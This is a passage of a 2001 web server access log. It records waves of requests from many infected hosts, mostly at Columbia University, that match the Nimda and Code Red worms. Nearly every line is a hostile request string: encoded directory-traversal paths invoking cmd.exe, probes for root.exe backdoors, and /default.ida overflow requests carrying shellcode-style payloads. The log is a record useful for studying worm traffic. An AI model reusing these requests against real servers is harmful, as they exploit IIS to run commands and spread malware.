  7005. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7006. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7007. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7008. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7009. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7010. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7011. 20010918 22:33:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7012. 20010918 22:33:55:  [128.134.72.167] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7013. 20010918 22:36:40:  [128.134.72.167] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7014. 20010918 22:37:00:  [128.134.72.167] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7015. 20010918 22:37:22:  [128.134.72.167] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7016. 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7017. 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7018. 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7019. 20010918 22:37:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7020. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7021. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7022. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7023. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7024. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7025. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7026. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7027. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7028. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7029. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7030. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7031. 20010918 22:37:45: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7032. 20010918 22:37:45:  [128.134.72.167] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7033. 20010918 22:38:04:  [128.134.72.167] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7034. 20010918 22:38:23:  [128.134.72.167] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7035. 20010918 22:38:46:  [128.134.72.167] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7036. 20010918 22:39:05:  [128.134.72.167] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7037. 20010918 22:39:27:  [128.134.72.167] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7038. 20010918 22:39:46:  [128.134.72.167] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7039. 20010918 22:40:06:  [128.134.72.167] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7040. 20010918 22:40:26:  [128.134.72.167] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7041. 20010918 22:40:45:  [128.134.72.167] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7042. 20010918 22:41:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7043. 20010918 22:41:04:  [128.134.72.167] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7044. 20010918 22:41:26:  [128.134.72.167] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7045. 20010918 22:41:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7046. 20010918 22:43:03: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7047. 20010918 22:45:36: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7048. 20010918 22:45:37: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7049. 20010918 22:45:41: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7050. 20010918 22:45:42: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7051. 20010918 22:45:43: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7052. 20010918 22:45:44: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7053. 20010918 22:45:45: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7054. 20010918 22:45:49: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7055. 20010918 22:45:50: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7056. 20010918 22:45:51: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7057. 20010918 22:45:52: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7058. 20010918 22:45:53: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7059. 20010918 22:45:54: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7060. 20010918 22:45:58: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7061. 20010918 22:45:59: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7062. 20010918 22:46:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7063. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7064. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7065. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7066. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7067. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7068. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7069. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7070. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7071. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7072. 20010918 22:46:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7073. 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7074. 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7075. 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7076. 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7077. 20010918 22:46:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7078. 20010918 22:46:58: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7079. 20010918 22:48:49: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7080. 20010918 22:48:56: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7081. 20010918 22:48:57: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7082. 20010918 22:48:58: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7083. 20010918 22:48:59: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7084. 20010918 22:49:00: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7085. 20010918 22:49:02: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7086. 20010918 22:49:12: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7087. 20010918 22:49:13: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7088. 20010918 22:49:14: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7089. 20010918 22:49:18: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7090. 20010918 22:49:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7091. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7092. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7093. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7094. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7095. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7096. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7097. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7098. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7099. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7100. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7101. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7102. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7103. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7104. 20010918 22:50:49: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7105. 20010918 22:50:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7106. 20010918 22:50:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7107. 20010918 22:56:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7108. 20010918 22:56:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7109. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7110. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7111. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7112. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7113. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7114. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7115. 20010918 22:56:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7116. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7117. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7118. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7119. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7120. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7121. 20010918 22:56:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7122. 20010918 22:56:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7123. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7124. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7125. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7126. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7127. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7128. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7129. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7130. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7131. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7132. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7133. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7134. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7135. 20010918 22:58:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7136. 20010918 22:58:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7137. 20010918 22:58:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7138. 20010918 22:58:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7139. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7140. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7141. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7142. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7143. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7144. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7145. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7146. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7147. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7148. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7149. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7150. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7151. 20010918 23:02:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7152. 20010918 23:02:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7153. 20010918 23:02:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7154. 20010918 23:02:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7155. 20010918 23:02:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7156. 20010918 23:03:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7157. 20010918 23:04:29: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7158. 20010918 23:09:06: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7159. 20010918 23:09:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7160. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7161. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
